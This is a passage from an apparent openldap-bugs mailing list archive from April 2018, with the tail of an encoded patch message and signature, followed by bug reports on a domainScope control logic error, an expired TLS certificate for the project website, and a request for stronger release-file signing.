CV9leGl0KCByYyApOwotCQl9IGVsc2UgewotCQkJY2xvc2UoIHdhaXRmZHNbMF0gKTsKLQkJ fQotCX0KLSNlbmRpZiAvKiBIQVZFX1dJTlNPQ0sgKi8KLQogI2lmZGVmIENTUklNQUxMT0MK IAltYWxfbGVha3RyYWNlKDEpOwogI2VuZGlmCg== --------------617F49AD045D5D9CF20DDEA9-- --SvfB4mi1pAhURkJI3rrmDUDBPqtcBdtKl-- --5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJZ7Y99AAoJEJW2GBstM+nstpMP/0zXWEdlSWycZyYU8ukkLUju Bd+3oVJyhwuVFhVHp4mts+nApF6+yPzMTlhT930cyD+LJ5TLrfaR9bVoVkix0LMk YX7KF7jHWZU/B7+o4VR1l/oMFoRr4qSXQ+hiFgiDZg+id8s9CxnndzmbWK+vgRSp j2ynuh7aQbLBkkao8mfHG/UbDvTvre8BVw9WF/vidwieDGOITo28088ZbX8XgjTO 9e7WFw+ftnFKkv63o/GDOCo+1zFm7n+F7gv4DmZYrt3ZdHCcSRkHMXPltf/4/IRX pFve1h24mPsq0sqit1wsDj2k3f3cJRN4rEShIBfiZm1y4rmCFC8ogDyllBdEbqRd RoN2ol6nh2k38qR4WAHhMFRyCUgUnqYevC7L+AlUAXiweSgzUKfVZt0bpiVnZPDT NiuAX1fBBQIySWzF/iM4d3VPIZdPmcme72kRCLcpbViTW+u4/n+RJEdKl4QRSSrw 5DzVwZDLgl16Ch+YLUYoaSyyk8strbe62owDf6GOb4Pnwy3wBf5o1oIsn/tcu6mh JA2IIVQ9mS3rwDgnL9O7GxrAmWFgpzZmBEC9mYbOToW4EMzDMBj4M7cwrLAVpae7 8KDX5xWX8swr56W8/8PQayLf574lPBhx9QZorKnoIzycHXCI/NkXbW9NBJTr/LLk 0etBpNlk83eCTvtejbbR =dl/v -----END PGP SIGNATURE----- --5jhqIfAmTWbgiqGDq2LUIR42Ndk8MNrPJ-- --==========EF6328C82A1CE901E152==========-- --==========C0CB1C4A269A2DB8FD87==========--

1 0

Re: (ITS#8840) domainScope control is not properly implemented
by quanah＠symas.com 23 Apr '18

23 Apr '18

--On Friday, April 20, 2018 3:28 PM +0000 elecharny(a)symas.com wrote: > Full_Name: Emmanuel Lecharny > Version: 2.4.45 > OS: > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (82.123.98.139) > > > There has been a change back in 2011 in the controls.c code : > > https://github.com/Symas/openldap/commit/4e32148ac59ba6b4f3acc79a3b782cd3 > 556f941a#diff-8237ff8d4da3d46fed54a93482b3a908 This is not a valid link, as it points to a private repository. In the future, please provide a valid reference. The commit at issue is: commit f810e6ed417939ed69b388ad7fb0c696e185f593 Author: Kurt Zeilenga <kurt(a)openldap.org> Date: Fri Apr 20 22:32:58 2007 +0000 Distinguish absent control value from empty control value. --Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

(ITS#8840) domainScope control is not properly implemented
by elecharny＠symas.com 20 Apr '18

20 Apr '18

Full_Name: Emmanuel Lecharny Version: 2.4.45 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (82.123.98.139) There has been a change back in 2011 in the controls.c code : https://github.com/Symas/openldap/commit/4e32148ac59ba6b4f3acc79a3b782cd355… Line 1460 was : if ( ctrl->ldctl_value.bv_len ) { and was transformed to line 1516 : if ( BER_BVISNULL( &ctrl->ldctl_value )) { when it was expected to be : if ( !BER_BVISNULL( &ctrl->ldctl_value )) { as this control is not expecting any value. The consequence is that using this control in ldapsearch leads to an error being generated : "domainScope control value not empty"

1 0

Re: (ITS#8838) TLS cert for www.openldap.org expired
by arekkusu＠r42.ch 18 Apr '18

18 Apr '18

Ok, thanks for your prompt action=2E I confirm it's fixed ;) On April 18, 2018 9:52:08 PM GMT+09:00, Howard Chu <hyc@symas=2Ecom> wrote= : >arekkusu@r42=2Ech wrote: >> Full_Name: Alexandre Rosenberg >> Version: - >> OS: - >> URL: ftp://ftp=2Eopenldap=2Eorg/incoming/ >> Submission from: (NULL) (125=2E30=2E28=2E204) >>=20 >>=20 >> Hello, >>=20 >> TLS certificate for CN=3Dwww=2Eopenldap=2Eorg and many alternative subj= ect >name has >> expired=2E (April 17, 2018, 5:01:56 PM GMT) >>=20 >> I noticed you are using Let's Encrypt=2E I suggest setting up some sort >of >> reminder and/or automated renewal=2E > >Yes, the cron job for auto renewal failed=2E It's updated now=2E >>=20 >> Best, >> Alex >>=20 >> ------------- >>=20 >> Certificate: >> Data: >> Version: 3 (0x2) >> Serial Number: >> 03:d3:9f:63:93:c2:18:aa:89:b2:32:43:13:18:72:ba:81:00 >> Signature Algorithm: sha256WithRSAEncryption >> Issuer: C =3D US, O =3D Let's Encrypt, CN =3D Let's Encrypt >Authority X3 >> Validity >> Not Before: Jan 17 17:01:56 2018 GMT >> Not After : Apr 17 17:01:56 2018 GMT >> Subject: CN =3D www=2Eopenldap=2Eorg >> (=2E=2E=2E) >> =20 >>=20 >>=20

1 0

(ITS#8839) never use md5 and/or sha1, use sha512, file signing
by openldap＠openldap.org 18 Apr '18

18 Apr '18

Full_Name: openldap user Version: OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (2.87.231.80) use a 4096-bit rsa key for signing the release files

1 0

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs